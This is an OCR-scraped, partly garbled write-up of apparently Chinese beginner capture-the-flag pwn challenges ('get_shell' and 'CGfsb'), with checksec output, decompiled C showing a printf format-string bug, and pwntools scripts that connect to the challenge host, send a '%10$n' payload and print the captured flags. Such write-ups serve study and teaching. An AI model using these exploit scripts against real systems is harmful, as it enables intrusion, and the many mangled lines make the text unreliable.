1000 7.3K Sep 28 2018 level3
1000 4.0K Oct 4 2018 1ib
1000 4.0K Oct 4 2018 1ib32
drwxr-x--- 1000 4.0K Oct 4 2018 1ib64
cat flag
cyberpeace{69076b70b5ed4ee424704bda24c9fdl/b}

F+E: get_shell




get_She” - EEifiWriteupHEledeeckSF * Masteryigfit

Y RN

HIEPE
B Haik

AR 7R:

el 5 P -

# checksec fh99f86956bd401
[] ’fhome/ctf/pwnffb99f86956bd4@1da27lf57d22@1@481
Arch: amd64-64-1little
RELRO: Partial RELRO
Stack:
NX:
BLE:
# ./Tb99f86556bd401da271f5

0K, this tlme we will get a shell.
ZIE: MEART, BEEFTUIKRGshell, REEFflag.

from pwn import *
r=remote("111.198.29.45",59457)
r.interactive()

r.close()

[+] Opening connection to 111.198.29.45 on port 5945
[*] Switching to interactive mode
ls -hl
total 36K
drwxr-x- - 1000 4.0K Oct 4 2018 bin
drwxr-x- - 1000 4.0K Oct 4 2018 dev
1000 45 Mar 15 07:14 flag
1000 8.5K Sep 28 2018 get shell
1000 4.0K Oct 4 2018 1ib
drwxr-x- - 1000 4.0K Oct 4 2018 1ib32
drwxr-x- - 1000 4.0K Oct 4 2018 1ib64
cat flag
cyberpeace{e05f4a38527abdaf37a0506a658227d6}

F+—/: CGfsb




CGbe bend iWriteupEEi'"!-:_'.11_'|~:_-'.=|'hEE"[ﬂ_

XEE R AL
e B R -

BB

A EHp=:

e B e
R 5
BREB AR RS, W20 Linuxd BT, A e LR EY.

[*] '/home/ctf/pwn/e41a0f684d0ed497187bb3
Arch: i386-32-1little
RELRO: Partial RELRO
Stack:
NX:
PIE:
: # ./e41a0f684d0
please tell me your name:

ailxlo

leave your message please:
ailxlo

hello ailx1@

your message is:

P E
AT LLRERE T . R iE0x0804A068iX kit WA T8, B2 mirl AR flag.

=H;
memset (&=, @, @x64u);
1 puts(“"please tell me your name:");
18 read(@, & s BxAUY;
19 puts("leave your message please:™);
28 fgets(&s, 1e@, stdin);
21| printf("helloc ¥%s", &buf);
22 puts("your message is:");
23 rintf(&s);
24| 1 pwnme == & ) // @384AB6E

puts("you pwned me, here is your flag:\n");
system("cat flag");

else
3@ {
puts("Thank you!™);

= )

WK, BIOMIERAAE G TA4NTH, EFRAAAA,



please tell me your name:

ailxlo

leave your message please:

AAAA -%X - %X - %X - %X - %X - %X - %X - %X - %X - %X - %X - %X

hello ai

your message 1is:
AAAA-ffedblOe-f7f935c0-1-0-1-f7fe8950-69610001-3031786c-a-41414141

5
Thank you!

FATES Yot 7T LAEAAAAIZ AN s BT —A8, RFXAHBEIEG X Rpwnme, SAREELEE. Tpwnmefi
Hk20x0804A068, RiX—TF.

from pwn import *

payload=p32(0x0804A068)+"AAAA"+"%10$n"
r=remote("111.198.29.45",43294)

r.sendlineafter("please tell me your name:","ailx1@")
r.sendlineafter("leave your message please:",payload)

r.interactive()
r.close()

[+] Opening connection to 111.198.29.45 on port
M ['] Switching to interactive mode

hello ailx10
your message 1is:
) h\xa0\x04AAAA
you pwned me, here is your flag:

®@

cyberpeace{fa597c650eb443d6b27d70b6al27615b}
[“] Got EOF while reading in interactive

levelO int_overflow I when_did_you_born hello_pwn 1 level2 I guess_num

35 o 3% b 4 %> [ %) Wh a5 b 4 5

- 1326 A - 950 A - 1536 A - 1504 A - 1314 A = 1008 A

cgpwn2 41 string W level3 T get_shell 41 CGfsb W
b 4 5> \Msn lhsu lh7n b 7 5

= 1008 A = 1588 A
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